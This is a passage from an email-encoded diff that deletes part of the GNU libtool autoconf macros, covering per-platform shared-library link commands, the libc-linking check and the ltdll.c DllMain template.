.dll files, not .so files. - shrext_cmds=3D".dll" - # FIXME: Setting linknames here is a bad hack. - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -o $lib $libobjs $compile= r_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linkna= mes=3D' - # The linker will automatically build a .lib file if we build a = DLL. - _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)=3D'true' - # FIXME: Should let the user specify the lib program. - _LT_AC_TAGVAR(old_archive_cmds, $1)=3D'lib /OUT:$oldlib$oldobjs$= old_deplibs' - _LT_AC_TAGVAR(fix_srcfile_path, $1)=3D'`cygpath -w "$srcfile"`' - _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=3Dyes - ;; - - darwin* | rhapsody*) - case $host_os in - rhapsody* | darwin1.[[012]]) - _LT_AC_TAGVAR(allow_undefined_flag, $1)=3D'${wl}-undefined ${= wl}suppress' - ;; - *) # Darwin 1.3 on - if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then - _LT_AC_TAGVAR(allow_undefined_flag, $1)=3D'${wl}-flat_names= pace ${wl}-undefined ${wl}suppress' - else - case ${MACOSX_DEPLOYMENT_TARGET} in - 10.[[012]]) - _LT_AC_TAGVAR(allow_undefined_flag, $1)=3D'${wl}-flat_n= amespace ${wl}-undefined ${wl}suppress' - ;; - 10.*) - _LT_AC_TAGVAR(allow_undefined_flag, $1)=3D'${wl}-undefi= ned ${wl}dynamic_lookup' - ;; - esac - fi - ;; - esac - _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=3Dno - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dno - _LT_AC_TAGVAR(hardcode_automatic, $1)=3Dyes - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dunsupported - _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=3D'' - _LT_AC_TAGVAR(link_all_deplibs, $1)=3Dyes - if test "$GCC" =3D yes ; then - =09output_verbose_link_cmd=3D'echo' - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -dynamiclib $allow_unde= fined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpa= th/$soname $verstring' - _LT_AC_TAGVAR(module_cmds, $1)=3D'$CC $allow_undefined_flag -o $= lib -bundle $libobjs $deplibs$compiler_flags' - # Don't fix this by using the ld -exported_symbols_list flag, it= doesn't exist in older darwin lds - _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'sed -e "s,#.*,," -e "s= ,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${l= ibname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $l= ibobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring= ~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' - _LT_AC_TAGVAR(module_expsym_cmds, $1)=3D'sed -e "s,#.*,," -e "s,= ^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${li= bname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libob= js $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.= expsym ${lib}' - else - case $cc_basename in - xlc*) - output_verbose_link_cmd=3D'echo' - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -qmkshrobj $allow_unde= fined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name= ${wl}`echo $rpath/$soname` $verstring' - _LT_AC_TAGVAR(module_cmds, $1)=3D'$CC $allow_undefined_flag -= o $lib -bundle $libobjs $deplibs$compiler_flags' - # Don't fix this by using the ld -exported_symbols_list flag= , it doesn't exist in older darwin lds - _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'sed -e "s,#.*,," -e= "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/= ${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib = $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$sonam= e $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' - _LT_AC_TAGVAR(module_expsym_cmds, $1)=3D'sed -e "s,#.*,," -e= "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/= ${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $l= ibobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symb= ols.expsym ${lib}' - ;; - *) - _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - ;; - esac - fi - ;; - - dgux*) - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -G -h $soname -o $lib $li= bobjs $deplibs $linker_flags' - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'-L$libdir' - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - ;; - - freebsd1*) - _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - ;; - - # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ const= ructor - # support. Future versions do this automatically, but an explicit= c++rt0.o - # does not break anything, and helps significantly (at the cost of= a little - # extra space). - freebsd2.2*) - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -Bshareable -o $lib $libo= bjs $deplibs $linker_flags /usr/lib/c++rt0.o' - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'-R$libdir' - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dyes - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - ;; - - # Unfortunately, older versions of FreeBSD 2 do not have this feat= ure. - freebsd2*) - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -Bshareable -o $lib $libo= bjs $deplibs $linker_flags' - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dyes - _LT_AC_TAGVAR(hardcode_minus_L, $1)=3Dyes - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - ;; - - # FreeBSD 3 and greater uses gcc -shared to do shared libraries. - freebsd* | kfreebsd*-gnu | dragonfly*) - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared -o $lib $libobjs = $deplibs $compiler_flags' - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'-R$libdir' - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dyes - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - ;; - - hpux9*) - if test "$GCC" =3D yes; then -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$rm $output_objdir/$soname~$CC -= shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $li= bobjs $deplibs $compiler_flags~test $output_objdir/$soname =3D $lib || = mv $output_objdir/$soname $lib' - else -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$rm $output_objdir/$soname~$LD -= b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linke= r_flags~test $output_objdir/$soname =3D $lib || mv $output_objdir/$sona= me $lib' - fi - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}+b ${wl}$li= bdir' - _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D: - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dyes - - # hardcode_minus_L: Not really in the search PATH, - # but as the default location of the library. - _LT_AC_TAGVAR(hardcode_minus_L, $1)=3Dyes - _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D'${wl}-E' - ;; - - hpux10*) - if test "$GCC" =3D yes -a "$with_gnu_ld" =3D no; then -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared -fPIC ${wl}+h ${wl}$= soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler= _flags' - else -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -b +h $soname +b $install_li= bdir -o $lib $libobjs $deplibs $linker_flags' - fi - if test "$with_gnu_ld" =3D no; then -=09_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}+b ${wl}$libdi= r' -=09_LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D: - -=09_LT_AC_TAGVAR(hardcode_direct, $1)=3Dyes -=09_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D'${wl}-E' - -=09# hardcode_minus_L: Not really in the search PATH, -=09# but as the default location of the library. -=09_LT_AC_TAGVAR(hardcode_minus_L, $1)=3Dyes - fi - ;; - - hpux11*) - if test "$GCC" =3D yes -a "$with_gnu_ld" =3D no; then -=09case $host_cpu in -=09hppa*64*) -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared ${wl}+h ${wl}$sona= me -o $lib $libobjs $deplibs $compiler_flags' -=09 ;; -=09ia64*) -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared ${wl}+h ${wl}$sona= me ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags' -=09 ;; -=09*) -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared -fPIC ${wl}+h ${wl= }$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compil= er_flags' -=09 ;; -=09esac - else -=09case $host_cpu in -=09hppa*64*) -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -b ${wl}+h ${wl}$soname -o= $lib $libobjs $deplibs $compiler_flags' -=09 ;; -=09ia64*) -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -b ${wl}+h ${wl}$soname ${= wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags' -=09 ;; -=09*) -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -b ${wl}+h ${wl}$soname ${= wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' -=09 ;; -=09esac - fi - if test "$with_gnu_ld" =3D no; then -=09_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}+b ${wl}$libdi= r' -=09_LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D: - -=09case $host_cpu in -=09hppa*64*|ia64*) -=09 _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)=3D'+b $libdir' -=09 _LT_AC_TAGVAR(hardcode_direct, $1)=3Dno -=09 _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno -=09 ;; -=09*) -=09 _LT_AC_TAGVAR(hardcode_direct, $1)=3Dyes -=09 _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D'${wl}-E' - -=09 # hardcode_minus_L: Not really in the search PATH, -=09 # but as the default location of the library. -=09 _LT_AC_TAGVAR(hardcode_minus_L, $1)=3Dyes -=09 ;; -=09esac - fi - ;; - - irix5* | irix6* | nonstopux*) - if test "$GCC" =3D yes; then -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared $libobjs $deplibs $c= ompiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo $= {wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_o= bjdir}/so_locations -o $lib' - else -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -shared $libobjs $deplibs $l= inker_flags -soname $soname `test -n "$verstring" && echo -set_version = $verstring` -update_registry ${output_objdir}/so_locations -o $lib' -=09_LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)=3D'-rpath $libdir' - fi - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-rpath ${wl= }$libdir' - _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D: - _LT_AC_TAGVAR(link_all_deplibs, $1)=3Dyes - ;; - - netbsd*) - if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -Bshareable -o $lib $libobjs= $deplibs $linker_flags' # a.out - else -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -shared -o $lib $libobjs $de= plibs $linker_flags' # ELF - fi - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'-R$libdir' - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dyes - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - ;; - - newsos6) - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -G -h $soname -o $lib $li= bobjs $deplibs $linker_flags' - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dyes - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-rpath ${wl= }$libdir' - _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D: - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - ;; - - openbsd*) - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dyes - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$= host_os-$host_cpu" =3D "openbsd2.8-powerpc"; then -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared $pic_flag -o $lib $l= ibobjs $deplibs $compiler_flags' -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$CC -shared $pic_flag -o = $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$expor= t_symbols' -=09_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-rpath,$libdir= ' -=09_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D'${wl}-E' - else - case $host_os in -=09 openbsd[[01]].* | openbsd2.[[0-7]] | openbsd2.[[0-7]].*) -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -Bshareable -o $lib $libo= bjs $deplibs $linker_flags' -=09 _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'-R$libdir' -=09 ;; -=09 *) -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared $pic_flag -o $lib= $libobjs $deplibs $compiler_flags' -=09 _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-rpath,$lib= dir' -=09 ;; - esac - fi - ;; - - os2*) - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'-L$libdir' - _LT_AC_TAGVAR(hardcode_minus_L, $1)=3Dyes - _LT_AC_TAGVAR(allow_undefined_flag, $1)=3Dunsupported - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$echo "LIBRARY $libname INITI= NSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\""= >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.d= ef~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPOR= TS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$li= bname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags = $output_objdir/$libname.def' - _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)=3D'emximp -o $outpu= t_objdir/$libname.a $output_objdir/$libname.def' - ;; - - osf3*) - if test "$GCC" =3D yes; then -=09_LT_AC_TAGVAR(allow_undefined_flag, $1)=3D' ${wl}-expect_unresolved= ${wl}\*' -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared${allow_undefined_fla= g} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n= "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_r= egistry ${wl}${output_objdir}/so_locations -o $lib' - else -=09_LT_AC_TAGVAR(allow_undefined_flag, $1)=3D' -expect_unresolved \*' -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -shared${allow_undefined_fla= g} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring= " && echo -set_version $verstring` -update_registry ${output_objdir}/so= _locations -o $lib' - fi - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-rpath ${wl= }$libdir' - _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D: - ;; - - osf4* | osf5*)=09# as osf3* with the addition of -msym flag - if test "$GCC" =3D yes; then -=09_LT_AC_TAGVAR(allow_undefined_flag, $1)=3D' ${wl}-expect_unresolved= ${wl}\*' -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared${allow_undefined_fla= g} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$sona= me `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${w= l}-update_registry ${wl}${output_objdir}/so_locations -o $lib' -=09_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-rpath ${wl}$l= ibdir' - else -=09_LT_AC_TAGVAR(allow_undefined_flag, $1)=3D' -expect_unresolved \*' -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -shared${allow_undefined_fla= g} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$ver= string" && echo -set_version $verstring` -update_registry ${output_objd= ir}/so_locations -o $lib' -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'for i in `cat $export_sym= bols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; e= cho "-hidden">> $lib.exp~ -=09$LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $l= ibobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_vers= ion $verstring` -update_registry ${output_objdir}/so_locations -o $lib~= $rm $lib.exp' - -=09# Both c and cxx compiler support -rpath directly -=09_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'-rpath $libdir' - fi - _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D: - ;; - - solaris*) - _LT_AC_TAGVAR(no_undefined_flag, $1)=3D' -z text' - if test "$GCC" =3D yes; then -=09wlarc=3D'${wl}' -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared ${wl}-h ${wl}$soname= -o $lib $libobjs $deplibs $compiler_flags' -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$echo "{ global:" > $lib.= exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "lo= cal: *; };" >> $lib.exp~ -=09 $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $l= ibobjs $deplibs $compiler_flags~$rm $lib.exp' - else -=09wlarc=3D'' -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -G${allow_undefined_flag} -h= $soname -o $lib $libobjs $deplibs $linker_flags' -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$echo "{ global:" > $lib.= exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "lo= cal: *; };" >> $lib.exp~ - =09$LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $lib= objs $deplibs $linker_flags~$rm $lib.exp' - fi - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'-R$libdir' - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - case $host_os in - solaris2.[[0-5]] | solaris2.[[0-5]].*) ;; - *) - =09# The compiler driver will combine linker options so we - =09# cannot just pass the convience library names through - =09# without $wl, iff we do not link with $LD. - =09# Luckily, gcc supports the same syntax we need for Sun Studio. - =09# Supported since Solaris 2.6 (maybe 2.5.1?) - =09case $wlarc in - =09'') - =09 _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=3D'-z allextract$conv= enience -z defaultextract' ;; - =09*) - =09 _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=3D'${wl}-z ${wl}allex= tract`for conv in $convenience\"\"; do test -n \"$conv\" && new_conveni= ence=3D\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${= wl}-z ${wl}defaultextract' ;; - =09esac ;; - esac - _LT_AC_TAGVAR(link_all_deplibs, $1)=3Dyes - ;; - - sunos4*) - if test "x$host_vendor" =3D xsequent; then -=09# Use $CC to link under sequent, because it throws in some extra .o -=09# files that make .init and .fini sections work. -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -G ${wl}-h $soname -o $lib $= libobjs $deplibs $compiler_flags' - else -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -assert pure-text -Bstatic -= o $lib $libobjs $deplibs $linker_flags' - fi - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'-L$libdir' - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dyes - _LT_AC_TAGVAR(hardcode_minus_L, $1)=3Dyes - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - ;; - - sysv4) - case $host_vendor in -=09sni) -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -G -h $soname -o $lib $lib= objs $deplibs $linker_flags' -=09 _LT_AC_TAGVAR(hardcode_direct, $1)=3Dyes # is this really true??? -=09;; -=09siemens) -=09 ## LD is ld it makes a PLAMLIB -=09 ## CC just makes a GrossModule. -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -G -o $lib $libobjs $depli= bs $linker_flags' -=09 _LT_AC_TAGVAR(reload_cmds, $1)=3D'$CC -r -o $output$reload_objs' -=09 _LT_AC_TAGVAR(hardcode_direct, $1)=3Dno - ;; -=09motorola) -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -G -h $soname -o $lib $lib= objs $deplibs $linker_flags' -=09 _LT_AC_TAGVAR(hardcode_direct, $1)=3Dno #Motorola manual says yes= , but my tests say they lie -=09;; - esac - runpath_var=3D'LD_RUN_PATH' - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - ;; - - sysv4.3*) - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -G -h $soname -o $lib $li= bobjs $deplibs $linker_flags' - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D'-Bexport' - ;; - - sysv4*MP*) - if test -d /usr/nec; then -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -G -h $soname -o $lib $libob= js $deplibs $linker_flags' -=09_LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno -=09runpath_var=3DLD_RUN_PATH -=09hardcode_runpath_var=3Dyes -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dyes - fi - ;; - - sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[[01]].[[10]]* | unix= ware7*) - _LT_AC_TAGVAR(no_undefined_flag, $1)=3D'${wl}-z,text' - _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=3Dno - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - runpath_var=3D'LD_RUN_PATH' - - if test "$GCC" =3D yes; then -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared ${wl}-h,$soname -o $= lib $libobjs $deplibs $compiler_flags' -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$CC -shared ${wl}-Bexport= :$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_fl= ags' - else -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -G ${wl}-h,$soname -o $lib $= libobjs $deplibs $compiler_flags' -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$CC -G ${wl}-Bexport:$exp= ort_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' - fi - ;; - - sysv5* | sco3.2v5* | sco5v6*) - # Note: We can NOT use -z defs as we might desire, because we do= not - # link with -lc, and that would cause any symbols used from libc= to - # always be unresolved, which means just about no library would - # ever link correctly. If we're not using GNU ld we use -z text - # though, which does catch some bad symbols but isn't as heavy-h= anded - # as -z defs. - _LT_AC_TAGVAR(no_undefined_flag, $1)=3D'${wl}-z,text' - _LT_AC_TAGVAR(allow_undefined_flag, $1)=3D'${wl}-z,nodefs' - _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=3Dno - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'`test -z "$SCOAB= SPATH" && echo ${wl}-R,$libdir`' - _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D':' - _LT_AC_TAGVAR(link_all_deplibs, $1)=3Dyes - _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D'${wl}-Bexport' - runpath_var=3D'LD_RUN_PATH' - - if test "$GCC" =3D yes; then -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared ${wl}-h,\${SCOABSPAT= H:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags= ' -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$CC -shared ${wl}-Bexport= :$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $= lib $libobjs $deplibs $compiler_flags' - else -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -G ${wl}-h,\${SCOABSPATH:+${= install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags' -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$CC -G ${wl}-Bexport:$exp= ort_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $= libobjs $deplibs $compiler_flags' - fi - ;; - - uts4*) - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -G -h $soname -o $lib $li= bobjs $deplibs $linker_flags' - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'-L$libdir' - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - ;; - - *) - _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - ;; - esac - fi -]) -AC_MSG_RESULT([$_LT_AC_TAGVAR(ld_shlibs, $1)]) -test "$_LT_AC_TAGVAR(ld_shlibs, $1)" =3D no && can_build_shared=3Dno - -# -# Do we need to explicitly link libc? -# -case "x$_LT_AC_TAGVAR(archive_cmds_need_lc, $1)" in -x|xyes) - # Assume -lc should be added - _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=3Dyes - - if test "$enable_shared" =3D yes && test "$GCC" =3D yes; then - case $_LT_AC_TAGVAR(archive_cmds, $1) in - *'~'*) - # FIXME: we may have to deal with multi-command sequences. - ;; - '$CC '*) - # Test whether the compiler implicitly links with -lc since on s= ome - # systems, -lgcc has to come before -lc. If gcc already passes -= lc - # to ld, don't add -lc before -lgcc. - AC_MSG_CHECKING([whether -lc should be explicitly linked in]) - $rm conftest* - printf "$lt_simple_compile_test_code" > conftest.$ac_ext - - if AC_TRY_EVAL(ac_compile) 2>conftest.err; then - soname=3Dconftest - lib=3Dconftest - libobjs=3Dconftest.$ac_objext - deplibs=3D - wl=3D$_LT_AC_TAGVAR(lt_prog_compiler_wl, $1) -=09pic_flag=3D$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1) - compiler_flags=3D-v - linker_flags=3D-v - verstring=3D - output_objdir=3D. - libname=3Dconftest - lt_save_allow_undefined_flag=3D$_LT_AC_TAGVAR(allow_undefined_= flag, $1) - _LT_AC_TAGVAR(allow_undefined_flag, $1)=3D - if AC_TRY_EVAL(_LT_AC_TAGVAR(archive_cmds, $1) 2\>\&1 \| grep = \" -lc \" \>/dev/null 2\>\&1) - then -=09 _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=3Dno - else -=09 _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=3Dyes - fi - _LT_AC_TAGVAR(allow_undefined_flag, $1)=3D$lt_save_allow_undef= ined_flag - else - cat conftest.err 1>&5 - fi - $rm conftest* - AC_MSG_RESULT([$_LT_AC_TAGVAR(archive_cmds_need_lc, $1)]) - ;; - esac - fi - ;; -esac -])# AC_LIBTOOL_PROG_LD_SHLIBS - - -# _LT_AC_FILE_LTDLL_C -# ------------------- -# Be careful that the start marker always follows a newline. -AC_DEFUN([_LT_AC_FILE_LTDLL_C], [ -# /* ltdll.c starts here */ -# #define WIN32_LEAN_AND_MEAN -# #include -# #undef WIN32_LEAN_AND_MEAN -# #include -# -# #ifndef __CYGWIN__ -# # ifdef __CYGWIN32__ -# # define __CYGWIN__ __CYGWIN32__ -# # endif -# #endif -# -# #ifdef __cplusplus -# extern "C" { -# #endif -# BOOL APIENTRY DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserve= d); -# #ifdef __cplusplus -# } -# #endif -# -# #ifdef __CYGWIN__ -# #include -# DECLARE_CYGWIN_DLL( DllMain ); -# #endif -# HINSTANCE __hDllInstance_base; -# -# BOOL APIENTRY -# DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserved) -# { -# __hDllInstance_base =3D hInst; -# return TRUE; -# } -# /* ltdll.c ends here */ -])# _LT_AC_FILE_LTDLL_C - - -# _LT_AC_TAGVAR(VARNAME, [TAGNAME]) -# --------------------------------- -AC_DEFUN([_LT_AC_TAGVAR], [ifelse([$2], [], [$1], [$1_$2])]) - - -# old names -AC_DEFUN([AM_PROG_LIBTOOL], [AC_PROG_LIBTOOL]) -AC_DEFUN([AM_ENABLE_SHARED], [AC_ENABLE_SHARED($@)]) -AC_DEFUN([AM_ENABLE_STATIC], [AC_ENABLE_STATIC($@)]) -AC_DEFUN([AM_DISABLE_SHARED], [AC_DISABLE_SHARED($@)]) -AC_DEFUN([AM_DISABLE_STATIC], [AC_DISABLE_STATIC($@)]) -AC_DEFUN([AM_PROG_LD], [AC_PROG_LD]) -AC_DEFUN([AM_PROG_NM], [AC_PROG_NM]) - -# This is just to silence aclocal about the macro not being used -ifelse([AC_DISABLE_FAST_INSTALL]) - -AC_DEFUN([LT_AC_PROG_GCJ], -[AC_CHECK_TOOL(GCJ, gcj, no) - test "x${GCJFLAGS+set}" =3D xset || GCJFLAGS=3D"-g -O2" - 